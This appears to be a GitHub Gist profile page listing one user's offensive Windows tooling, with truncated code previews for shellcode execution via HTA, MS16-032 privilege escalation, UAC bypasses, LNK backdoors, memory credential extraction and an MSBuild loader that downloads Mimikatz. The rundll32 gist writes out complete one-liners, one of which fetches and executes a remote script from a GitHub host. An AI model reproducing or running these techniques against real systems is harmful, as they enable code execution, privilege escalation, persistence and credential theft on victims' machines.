wow

evi1cg Ridter

wow

持一颗清静无为平淡心，宠辱不惊，来去不忧。

Ridter / CalcExcel.hta

Created March 28, 2016 02:06

Shellcode Execution Via HTA

	<html>
	<head>
	<script>
	var objExcel = new ActiveXObject("Excel.Application");
	objExcel.Visible = false;
	var WshShell = new ActiveXObject("WScript.Shell");
	var Application_Version = objExcel.Version;//Auto-Detect Version
	var strRegPath = "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\" + Application_Version + "\\Excel\\Security\\AccessVBOM";
	WshShell.RegWrite(strRegPath, 1, "REG_DWORD");
	var objWorkbook = objExcel.Workbooks.Add();

Ridter / MS16_032.cs

Last active September 21, 2017 04:06

MS16_032 powershell to exe

	/*
	Author: Evilcg, Twitter: @Evilcg
	Step One:
	PS C:\> [psobject].Assembly.Location
	C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll
	Step Two:
	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /reference:"C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /out:MS16_032.exe MS16_032.cs

	Windows 10 reference may be Here: C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35

Ridter / evil.cs

Created July 1, 2016 09:09

Execute a DLL via Regsvr32

	using System;
	using System.Diagnostics;
	using System.Runtime.InteropServices;
	using RGiesecke.DllExport;

	namespace Export
	{
	class Test
	{

Ridter / Invoke-WScriptBypassUAC-JS.ps1

Created July 1, 2016 09:10

	function Invoke-WScriptBypassUAC
	{
	<#
	.SYNOPSIS

	Performs the bypass UAC attack by abusing the lack of an embedded manifest in wscript.exe.

	Author: @enigma0x3, @harmj0y, Vozzie
	License: BSD 3-Clause
	Required Dependencies: None

Ridter / LNKBackdoor.ps1

Created July 5, 2016 13:37 — forked from HarmJ0y/LNKBackdoor.ps1

Functions to 'backdoor' .LNK files with additional functionality and enumerate all 'backdoored' .LNKs on a system.

	function Set-LNKBackdoor {
	<#
	.SYNOPSIS

	Backdoors an existing .LNK shortcut to trigger the original binary and a payload specified by
	-ScriptBlock or -Command.

	Author: @harmj0y
	License: BSD 3-Clause
	Required Dependencies: None

Ridter / exec_via_rundll32

Created July 22, 2016 05:26

rundll32

	rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("w=new%20ActiveXObject(\"WScript.Shell\");w.run(\"calc\");window.close()");

	rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WScript.Shell").run("calc.exe",0,true);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}

	rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https://raw.githubusercontent.com/3gstudent/Javascript-Backdoor/master/test")

Ridter / UACBypass.ps1

Created July 26, 2016 11:01 — forked from mattifestation/UACBypass.ps1

	function Invoke-UACBypass {
	<#
	.SYNOPSIS

	Bypasses UAC on Windows 10 by abusing the SilentCleanup task to win a race condition, allowing for a DLL hijack without a privileged file copy.

	Author: Matthew Graeber (@mattifestation), Matt Nelson (@enigma0x3)
	License: BSD 3-Clause
	Required Dependencies: None
	Optional Dependencies: None

Ridter / Invoke-mimikittenz

Created October 8, 2016 09:40

	function Invoke-mimikittenz
	{
	<#
	.SYNOPSIS

	Extracts juicy info from memory.

	Author: Jamieson O'Reilly (https://au.linkedin.com/in/jamieson-o-reilly-13ab6470)
	License: https://creativecommons.org/licenses/by/4.0/

Ridter / katz.xml

Created October 9, 2016 02:47

Downloads Mimikatz From GitHub, Executes Inside of MsBuild.exe

	<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
	<!-- This inline task executes c# code. -->
	<!-- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe katz.xml -->
	<Target Name="Hello">
	<SharpLauncher >
	</SharpLauncher>
	</Target>
	<UsingTask
	TaskName="SharpLauncher"
	TaskFactory="CodeTaskFactory"

Ridter / cpl.cs

Created October 12, 2016 08:20 — forked from NickTyrer/cpl.cs

	using System;
	using System.Runtime.InteropServices;
	using RGiesecke.DllExport;
	using System.Collections.ObjectModel;
	using System.Management.Automation;
	using System.Management.Automation.Runspaces;
	using System.Text;

	public class Test
	{